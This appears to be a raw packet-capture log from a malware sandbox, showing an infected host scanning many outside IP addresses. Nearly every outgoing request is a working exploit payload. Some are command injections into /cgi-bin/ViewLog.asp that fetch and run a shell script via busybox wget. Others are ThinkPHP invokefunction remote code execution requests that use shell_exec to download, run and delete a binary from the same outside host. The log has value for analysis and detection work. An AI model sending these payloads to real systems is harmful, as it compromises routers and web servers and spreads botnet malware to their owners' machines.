Dec 26, 2023 21:23:51.327025890 CET	480	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 258 Expires: Tue, 26 Dec 2023 20:23:51 GMT Date: Tue, 26 Dec 2023 20:23:51 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 68 74 74 70 26 23 35 38 3b 26 23 34 37 3b 26 23 34 37 3b 26 23 33 37 3b 35 62 4e 6f 26 23 33 37 3b 32 30 48 6f 73 74 26 23 33 37 3b 35 64 26 23 34 37 3b 69 6e 64 65 78 26 23 34 36 3b 70 68 70 26 23 36 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 63 35 38 36 36 35 35 66 26 23 34 36 3b 31 37 30 33 36 32 32 32 33 31 26 23 34 36 3b 36 66 32 36 33 30 63 64 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "http://%5bNo%20Host%5d/index.php?", is invalid.<p>Reference #9.c586655f.1703622231.6f2630cd</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
208	192.168.2.23	41778	95.76.190.184	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.277710915 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:52.696850061 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:54.360606909 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:57.720204115 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:04.375274897 CET	326	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
209	192.168.2.23	46268	88.99.63.205	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.288358927 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:51.543145895 CET	337	IN	HTTP/1.1 400 Bad Request Server: nginx/1.14.2 Date: Tue, 26 Dec 2023 20:23:51 GMT Content-Type: text/html Content-Length: 173 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body bgcolor="white"><center><h1>400 Bad Request</h1></center><hr><center>nginx/1.14.2</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
210	192.168.2.23	60894	94.121.211.153	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.562421083 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
211	192.168.2.23	37948	94.122.214.145	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.562593937 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:53.016819000 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:54.712563038 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:58.232058048 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:05.143059969 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:18.709156036 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:45.841368914 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
212	192.168.2.23	57298	31.200.26.147	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:51.562660933 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:53.016832113 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:54.712559938 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:23:58.232070923 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:05.143064976 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:18.709146976 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh
Dec 26, 2023 21:24:45.841358900 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
213	192.168.2.23	54958	31.200.102.176	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:52.182069063 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
214	192.168.2.23	55926	88.26.214.81	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:52.789581060 CET	319	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:53.028302908 CET	392	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:52 GMT Server: Apache Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
215	192.168.2.23	56914	88.213.188.168	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:52.801331997 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:53.051270008 CET	115	IN	HTTP/1.1 400 Bad Request Content-Type: text/plain; charset=utf-8 Connection: close Data Raw: 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 Data Ascii: 400 Bad Request

Session ID	Source IP	Source Port	Destination IP	Destination Port
216	192.168.2.23	55906	94.121.115.68	8080

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:53.198352098 CET	314	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 34 31 2e 39 38 2e 31 30 2e 34 37 2f 7a 79 78 65 6c 2e 73 68 3b 20 63 68 6d 6f 64 20 2b 78 20 7a 79 78 65 6c 2e 73 68 3b 20 2e 2f 7a 79 78 65 6c 2e 73 68 Data Ascii: /bin/busybox wget http://141.98.10.47/zyxel.sh; chmod +x zyxel.sh; ./zyxel.sh

Session ID	Source IP	Source Port	Destination IP	Destination Port
217	192.168.2.23	46864	95.217.105.104	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:53.294647932 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:53.562732935 CET	440	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:53 GMT Server: Apache/2.4.58 (Fedora Linux) OpenSSL/3.1.1 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
218	192.168.2.23	40596	95.216.38.213	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:53.295258999 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
Dec 26, 2023 21:23:53.564006090 CET	497	IN	HTTP/1.1 400 Bad Request Date: Tue, 26 Dec 2023 20:23:53 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 64 6c 69 76 65 2e 6e 69 6e 6a 61 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.29 (Ubuntu) Server at dlive.ninja Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
219	192.168.2.23	58044	95.100.2.191	80

Timestamp	Bytes transferred	Direction	Data
Dec 26, 2023 21:23:53.462567091 CET	331	OUT	GET /index.php?s=/index/hinkpp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]='wget http://141.98.10.47/bins/x86 -O thonkphp ; chmod 777 thonkphp ; ./thonkphp ThinkPHP ; rm -rf thinkphp' HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: Uirusu/2.0
